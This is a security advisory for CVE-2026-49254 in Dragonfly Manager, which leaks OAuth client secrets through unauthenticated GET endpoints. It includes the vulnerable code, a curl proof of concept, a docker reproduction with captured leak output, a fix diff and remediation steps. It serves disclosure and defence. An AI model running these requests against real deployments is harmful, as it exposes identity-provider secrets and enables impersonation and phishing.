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Dragonfly Manager CVE-2026-49254

LOW
Information Exposure (CWE-200)
2026-07-02 https://github.com/dragonflyoss/dragonfly GHSA-4q9j-6299-gxmr
2.9
CVSS 4.0 · Vendor: https://github.com/dragonflyoss/dragonfly

Severity by source

Vendor (https://github.com/dragonflyoss/dragonfly) PRIMARY
2.9 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Network-reachable unauthenticated endpoint with trivial single-request exploit; only confidentiality is impacted (full OAuth secret disclosed); no integrity or availability consequence from the disclosure itself.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/dragonflyoss/dragonfly).

CVSS VectorVendor: https://github.com/dragonflyoss/dragonfly

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

2
CVSS changed
Sep 15, 2026 - 15:22 NVD
2.9 (LOW)
Analysis Generated
Jul 02, 2026 - 19:51 vuln.today

DescriptionCVE.org

Summary

The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.

Affected versions

github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.

Privilege required

Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).

Vulnerable code

manager/router/router.go:134-140 (v2.4.3) - the /oauth group registration:

go
// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)

Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:

go
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)

Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.

The handler at manager/handlers/oauth.go:127-141 returns the model directly:

go
func (h *Handlers) GetOauth(ctx *gin.Context) {
	var params types.OauthParams
	if err := ctx.ShouldBindUri(&params); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	ctx.JSON(http.StatusOK, oauth)
}

manager/handlers/oauth.go:155-171 has the parallel list handler:

go
func (h *Handlers) GetOauths(ctx *gin.Context) {
	var query types.GetOauthsQuery
	if err := ctx.ShouldBindQuery(&query); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	h.setPaginationDefault(&query.Page, &query.PerPage)
	oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
	ctx.JSON(http.StatusOK, oauth)
}

manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:

go
type Oauth struct {
	BaseModel
	Name         string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
	BIO          string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
	ClientID     string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
	ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
	RedirectURL  string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}

How an unauthenticated request reaches the OAuth client_secret

  1. gin.Engine routes GET /api/v1/oauth/:id to the oa group registered at manager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses jwt.MiddlewareFunc() (which would have set or rejected c.Get("id")) and middlewares.RBAC() (which would have called Casbin enforcement).
  2. The request enters h.GetOauth (manager/handlers/oauth.go:127), which binds the :id path parameter and calls h.service.GetOauth.
  3. service.GetOauth (manager/service/oauth.go) does s.db.First(&oauth, id) and returns the populated models.Oauth.
  4. The handler calls ctx.JSON(http.StatusOK, oauth). The ClientSecret field is serialized as client_secret in the response body.

There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.

Proof of concept

bash
# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
#  has been registered via the authenticated POST /api/v1/oauth path.)

curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool

Both calls return HTTP 200 with a JSON body that includes client_secret.

End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)

Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:

bash
mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
   /Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).

cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
  redis:
    image: redis:6-alpine
    container_name: dragonfly-redis
    command: --requirepass dragonfly
  mysql:
    image: mariadb:10.6
    container_name: dragonfly-mysql
    environment:
      - MARIADB_USER=dragonfly
      - MARIADB_PASSWORD=dragonfly
      - MARIADB_DATABASE=manager
      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
  manager:
    image: dragonflyoss/manager:v2.4.3
    container_name: dragonfly-manager
    depends_on: [redis, mysql]
    restart: on-failure
    volumes:
      - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
    ports:
      - "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:

bash
# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e \
  "USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

curl -s -X POST http://localhost:18080/api/v1/oauth \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
       "client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'

Captured run output of the actual attack (unauthenticated client):

=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401

=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
    {
        "id": 1,
        "name": "github",
        "client_id": "FAKE_CLIENT_ID_abc123",
        "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
        "redirect_url": ""
    }
]

=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
    "id": 1,
    "name": "github",
    "client_id": "FAKE_CLIENT_ID_abc123",
    "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
    "redirect_url": ""
}

Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.

Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.

Impact

  • The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
  • Unauthenticated disclosure of OAuth client_secret for GitHub / Google providers. A client_secret permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.
  • The same row also exposes client_id and redirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.
  • Tenants who exposed the Manager's REST port (8080/tcp, default in the project's docker-compose.yaml and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).

Suggested fix

Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.

diff
--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
-    oa := apiv1.Group("/oauth")
-    oa.POST("",   jwt.MiddlewareFunc(), rbac, h.CreateOauth)
-    oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
-    oa.PATCH(":id",  jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
-    oa.GET(":id", h.GetOauth)
-    oa.GET("",    h.GetOauths)
+    oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+    oa.POST("",      h.CreateOauth)
+    oa.DELETE(":id", h.DestroyOauth)
+    oa.PATCH(":id",  h.UpdateOauth)
+    oa.GET(":id",    h.GetOauth)
+    oa.GET("",       h.GetOauths)
diff
--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
-    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`

The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.

Fix PR

https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).

Workarounds

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.

Credit

Reported by tonghuaroot.

AnalysisAI

Unauthenticated OAuth client secret disclosure in Dragonfly Manager (dragonflyoss/dragonfly <= v2.4.3) exposes GitHub and Google OAuth client_secret values to any host that can reach the Manager REST API port. The GET /api/v1/oauth and GET /api/v1/oauth/:id handlers omit the jwt.MiddlewareFunc() and RBAC middleware enforced on every other admin route group in the same router file - including the write methods (POST, DELETE, PATCH) in the same /oauth group - and the models.Oauth struct serializes ClientSecret without redaction. A detailed proof-of-concept with captured output is included in the advisory; no CISA KEV listing is present and EPSS data is unavailable.

Technical ContextAI

Dragonfly is a CNCF-incubating P2P file distribution and container image acceleration system; its Manager component is a Go service using the gin HTTP framework to expose a REST API for cluster administration. The root cause is a missing-middleware asymmetry in manager/router/router.go (lines 134-140 in v2.4.3): the /oauth route group registers POST, DELETE, and PATCH handlers with explicit per-route jwt.MiddlewareFunc() and rbac middleware, but the two GET handlers omit both. Every sibling admin group in the same file (/clusters, /scheduler-clusters, /configs, /jobs after GHSA-j8hf-cp34-g4j7, etc.) attaches the middleware pair at group level, making all verbs uniformly guarded; the /oauth group is the sole exception. Compounding the routing gap, manager/models/oauth.go declares ClientSecret with a standard json:"client_secret" tag and no json:"-" exclusion, so gin's ctx.JSON() serializes the raw secret into every GET response. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) describes the disclosure path; CWE-306 (Missing Authentication for Critical Function) describes the absent access control. The affected Go module is pkg:go/d7y.io_dragonfly_v2.

RemediationAI

No vendor-released patched version has been independently confirmed at time of analysis; a fix exists as a private embargo fork PR at https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1. The vendor-proposed fix has two parts: move jwt.MiddlewareFunc() and rbac to the group level for the /oauth router group in manager/router/router.go (mirroring the pattern used by every other admin group in the file), and add json:"-" to the ClientSecret field in manager/models/oauth.go to prevent serialization even if a future routing regression occurs. Until a patched release ships, operators should apply the following specific compensating controls. First, restrict network access to port 8080/tcp on the Dragonfly Manager to explicitly trusted source CIDRs via firewall rules or Kubernetes NetworkPolicy - this eliminates external attacker access but does not protect against in-cluster threats. Second, if GitHub or Google OAuth sign-in is not actively in use (the advisory states it is not used in the upstream project itself), remove all registered OAuth providers using authenticated DELETE /api/v1/oauth/:id requests, leaving nothing for the endpoint to disclose. Third, if OAuth providers have already been registered and the Manager port was reachable by untrusted hosts, treat the client_secret as compromised: rotate it immediately in the respective IdP settings (GitHub OAuth App page or Google Cloud Console OAuth credentials) and audit IdP access logs for unauthorized token grants. Refer to https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr for updates.

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CVE-2026-49254 vulnerability details – vuln.today

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